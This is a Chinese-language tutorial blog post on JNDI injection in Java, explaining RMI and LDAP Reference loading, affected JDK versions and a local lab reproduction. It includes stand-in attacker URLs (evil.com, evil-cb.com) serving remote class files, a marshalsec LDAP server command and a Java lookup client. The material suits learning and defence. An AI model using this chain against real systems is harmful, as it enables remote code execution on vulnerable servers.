【每天学习一点新知识】JNDI注入

  1. 什么是JNDI

JNDI是Java的一种API,为我们提供了查找和访问各种命名和目录服务的通用统一的接口。通过JNDI统一接口我们可以来访问各种不同类型的服务,例如远程方法调用(RMI),通用对象请求代理体系结构(CORBA),轻型目录访问协议(LDAP)或域名服务(DNS),相当于一个中间件,用户无需了解底层应用的具体应用要求,可以直接通过JNDI访问。

命名服务

命名服务是一种简单的键值对绑定,可以通过键名检索值,RMI就是典型的命名服务

通俗易懂,根据名字查找对象,每个人都有自己的名字吧~

目录服务

目录服务是命名服务的拓展。它与命名服务的区别在于它可以通过对象属性来检索对象,比如我们在学校里找一个人,可以通过xx学院——xx专业——xx班级——xx学号来找到他,而这些标签就是该对象的属性值,这种层级关系就很像目录关系,所以这种存储对象的方式就叫目录服务。

RMI
RMI是一种分布式对象应用,RMI技术可以使客户端远程调用服务端的对象,使客户端和服务端之间可以通信并相互传递信息。(说着说着总觉得跟python的socket好像...)
  1. JNDI动态协议转换

Context.PROVIDER_URL,这个属性指定了到哪里加载本地没有的类

Context.PROVIDER_URL被配置过后,ctk.lookup("rmi://localhost:1099/hello")这一处代码改为 ctk.lookup("hello")也是可行的

但是如果开启了动态协议转换,Context.PROVIDER_URL就失效了,当我们调用lookup()方法时,如果lookup方法的参数像是一个URL地址,那么客户端就会去lookup()方法参数指定的URL中加载远程对象,而不是去Context.PROVIDERURL设置的地址去加载对象

所以当lookup的参数可控时......

  1. JNDI Naming Reference

但是攻击者仅调用lookup()方法参数指定的URL中加载远程对象,也是无法实现攻击的。因为受害者本地没有攻击者提供的类的class文件,所以是调用不了方法的。

于是乎,就有了Reference类。

Reference类表示对存在于命名/目录系统以外的对象的引用。如果远程获取 RMI 服务上的对象为 Reference 类或者其子类,则在客户端获取到远程对象存根实例时,可以从其他服务器上加载 class 文件来进行实例化。

在创建Reference类时有三个比较关键的属性

  • className:远程加载时所使用的类名;

  • classFactory:加载的class中需要实例化类的名称;

  • classFactoryLocation:远程加载类的地址,提供classes数据的地址可以是file/ftp/http等协议;

要把一个对象绑定到rmi注册表中,这个对象需要继承UnicastRemoteObject,但是Reference没有继承它,所以我们还需要封装一下它,用 ReferenceWrapper 包裹一下Reference实例对象,这样就可以将其绑定到rmi注册表,并被远程访问到了

// 第一个参数是远程加载时所使用的类名, 第二个参数是要加载的类的完整类名(这两个参数可能有点让人难以琢磨,往下看你就明白了),第三个参数就是远程class文件存放的地址了
Reference refObj = new Reference("refClassName", "insClassName", "http://axin.com:6666/"); 
ReferenceWrapper refObjWrapper = new ReferenceWrapper(refObj);
registry.bind("refObj", refObjWrapper);

当有客户端通过lookup("refObj")获取远程对象时,获取的是一个Reference存根(Stub),由于是Reference的存根,所以客户端会现在本地的classpath中去检查是否存在类refClassName,如果不存在则去指定的url(http://axin.com:6666/refClassName.class)动态加载,并且调用insClassName的无参构造函数,所以可以在构造函数里写恶意代码。

当然除了在无参构造函数中写利用代码,还可以利用java的static代码块来写恶意代码,因为static代码块的代码在class文件被加载过后就会立即执行,且只执行一次。

  1. JNDI注入原理

在JNDI中提供了绑定和查找的方法:

bind:将名称绑定到对象中;
lookup:通过名字检索执行的对象;

JNDI的代码格式如下:

String jndiName= ...;//指定需要查找name名称
Context context = new InitialContext();//初始化默认环境
DataSource ds = (DataSourse)context.lookup(jndiName);//查找该name的数据

当jndiName参数可控且开启动态协议转换时,就有可能为黑客的注入攻击提供了机会

注入原理

影响版本
JDK <= 8u121

在8u121之后com.sun.jndi.rmi.object.trustURLCodebasecom.sun.jndi.cosnaming.object.trustURLCodebase 等属性的默认值变为false,就不能再利用了

将恶意的Reference类绑定在RMI注册表中,其中恶意引用指向远程恶意的class文件,当用户在JNDI客户端的lookup()函数参数外部可控或Reference类构造方法的classFactoryLocation参数外部可控时,会使用户的JNDI客户端访问RMI注册表中绑定的恶意Reference类,从而加载远程服务器上的恶意class文件在客户端本地执行,最终实现JNDI注入攻击导致远程代码执行

注入过程(基于rmi)

  • 攻击者创建一个恶意对象

  • 绑定恶意的Reference到RMI注册表

  • 攻击者通过可控的 URI 参数,触发动态环境转换,例如,这里 URI 为 rmi://evil.com:1099/refObj;

  • 原先配置好的上下文环境 rmi://localhost:1099 会因为动态环境转换,而被指向 rmi://evil.com:1099/;

  • 用户去 rmi://evil.com:1099 请求绑定对象 refObj,攻击者事先准备好的 RMI 服务,会返回与refObj相绑定的ReferenceWrapper对象(Reference(“EvilObject”, “EvilObject”, “http://evil-cb.com/”));

  • 应用获取到 ReferenceWrapper 对象,开始从本地 CLASSPATH 中搜索 EvilObject 类,如果不存在,则会从 http://evil-cb.com/ 上去尝试获取 EvilObject.class,即动态的去获取 http://evil-cb.com/EvilObject.class;

  • 攻击者事先准备好的服务返回编译好的包含恶意代码的 EvilObject.class;

  • 应用开始调用 EvilObject 类的构造函数,因攻击者事先定义在构造函数,被包含在里面的恶意代码被执行;

注入过程(基于ldap)

除了RMI服务之外,JNDI还可以对接LDAP服务,且LDAP也能返回JNDI Reference对象,利用过程与上面RMI Reference基本一致,只是lookup()中的URL为一个LDAP地址如ldap://xxx/xxx,由攻击者控制的LDAP服务端返回一个恶意的JNDI Reference对象。

影响版本
JDK <= 8u191 且版本不为7u201、6u211、6u141、7u131、8u121

这些版本的com.sun.jndi.ldap.object.trustURLCodebase属性默认值为false

  • 使用marshalsec构建ldap服务,服务端监听

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:7777/#Exec 1099

http://127.0.0.1:7777/为本地服务,Exec是恶意文件,1099是开启的ldap服务端口(默认为1389)

  • 开启本地服务

python -m http.server 7777
  • 直接发起请求即可


import javax.naming.InitialContext;

public class JNDILDAPClient {
    public static void main(String[] args) throws Exception {
        InitialContext initialContext = new InitialContext();
        initialContext.lookup("ldap://127.0.0.1:1099/Exec");
    }
}
  1. 总结

好复杂好复杂

JNDI的调用下图可能更清晰一点,主要就是Client、Server、RMI注册表这三部分

如何利用可以参考下面的漏洞复现的文章

Apache Log4j 远程代码执行漏洞

Fastjson 1.2.24反序列化漏洞

猜你喜欢

转载自blog.csdn.net/m0_51683653/article/details/129375707